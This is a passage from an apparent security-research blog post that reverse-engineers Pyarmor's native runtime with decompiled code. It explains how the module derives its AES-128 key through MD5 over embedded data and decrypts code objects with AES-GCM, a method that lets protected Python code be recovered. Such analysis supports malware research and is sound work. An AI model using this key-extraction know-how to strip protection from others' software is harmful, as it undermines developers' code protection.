        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;112&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;120&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C_LEAVE_CO_OBJECT_INDEX&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;104&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c_leave_co_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// func&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PyCMethod_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This registers three additional C functions that apparently work on code (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co&lt;/code&gt;) objects.
Code objects are low-level representations of compiled Python bytecode, encompassing all details required for code execution.
For example, the main body of a script is a code object, as well as each respective function defined within the body.
The enter and leave functions will become important later on.&lt;/p&gt;

&lt;p&gt;In terms of strings, the library contains quite a few cryptography-related strings, including source file paths.
A quick search revealed that we’re dealing with libtomcrypt, which was statically linked into the library.
We created a signature file for this library so that we can automatically name most functions belonging to libtomcrypt in the Pyarmor module.
For good results, it’s important to match the library version and compiler as good as possible when creating the signatures.
According to strings in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.rdata&lt;/code&gt; section, both GCC 6.4.0 and 7.4.0 were used for compilation.
After some trial and error, we got a good match with libtomcrypt v1.18.2 and GCC 6.4.0.
The resulting FLIRT signature is part of the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&quot;&gt;GitHub repo&lt;/a&gt; we published as part of this work.&lt;/p&gt;

&lt;p&gt;Quick recap of what we have so far:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We know where calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; land in the native module&lt;/li&gt;
  &lt;li&gt;We found functions that deal with entering/leaving code objects&lt;/li&gt;
  &lt;li&gt;We can see all places where libtomcrypt is used for cryptographic operations in the module&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;cryptography&quot;&gt;Cryptography&lt;/h2&gt;

&lt;p&gt;Pyarmor uses libtomcrypt for the following purposes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Verifying some RSA signature (this is nothing we really care about)&lt;/li&gt;
  &lt;li&gt;Deriving a key with MD5&lt;/li&gt;
  &lt;li&gt;Ciphering data with AES-GCM (Galois Counter Mode)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;key-derivation&quot;&gt;Key derivation&lt;/h3&gt;

&lt;p&gt;The key derivation function is called towards the end of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyInit&lt;/code&gt; export, after the RSA verification and some more checks on the module filename.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_key_via_md5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__m128i&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// xmm0&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;456&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+20h] [rbp-1C8h] BYREF&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;md5_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aPyarmorVax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;20LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot;pyarmor-vax-007106\x00\x00&quot;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_64944060&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g_dword_64944050_0x20_rsaoffset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;g_dword_64944054_0x10E_rsakeylen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rsa key&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;si128&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_mm_load_si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__m128i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_649499C0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// vector with all bytes set to 0xF1&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_mm_xor_si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_mm_load_si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__m128i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;cm&quot;&gt;/* &amp;lt;snip&amp;gt; - more XORs with 0xF1 */&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;byte_6494824A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;byte_6494824B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;LOBYTE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word_6494824C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;word_6494824C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;HIBYTE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word_6494824C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10ELL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x108uLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;word_6494824C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Essentially all data that goes into this key computation is static.
The only slightly “dynamic” part is the region of 0x10E bytes that is XOR-decoded at runtime, and then cleared after being processed by MD5 - it seems to be yet another RSA key, apart from the plain RSA key that is being hashed in the second call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;md5_process&lt;/code&gt;.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signature&lt;/code&gt; parameter, passed from the caller, is located in the same general &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unk_64944060&lt;/code&gt; memory region in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.data&lt;/code&gt; section.&lt;/p&gt;

&lt;p&gt;So to obtain the key specific to your Pyarmor runtime, you can either attach a debugger to a Python interpreter and break after the derivation function has been called, or you can compute it statically.
We wrote an IDAPython script that follows the latter route. With some tinkering, the same could be achieved using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pefile&lt;/code&gt; or similar libraries.&lt;/p&gt;

&lt;p&gt;The resulting digest is then directly used as AES-128 key.&lt;/p&gt;

&lt;h3 id=&quot;gcm&quot;&gt;GCM&lt;/h3&gt;

&lt;p&gt;The use of GCM in the native module is somewhat bizarre for multiple reasons.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;cipherdata&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;gcmobj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_add_iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcmobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_add_aad_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcmobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcmobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// handle error and return or exit process&lt;/span&gt;
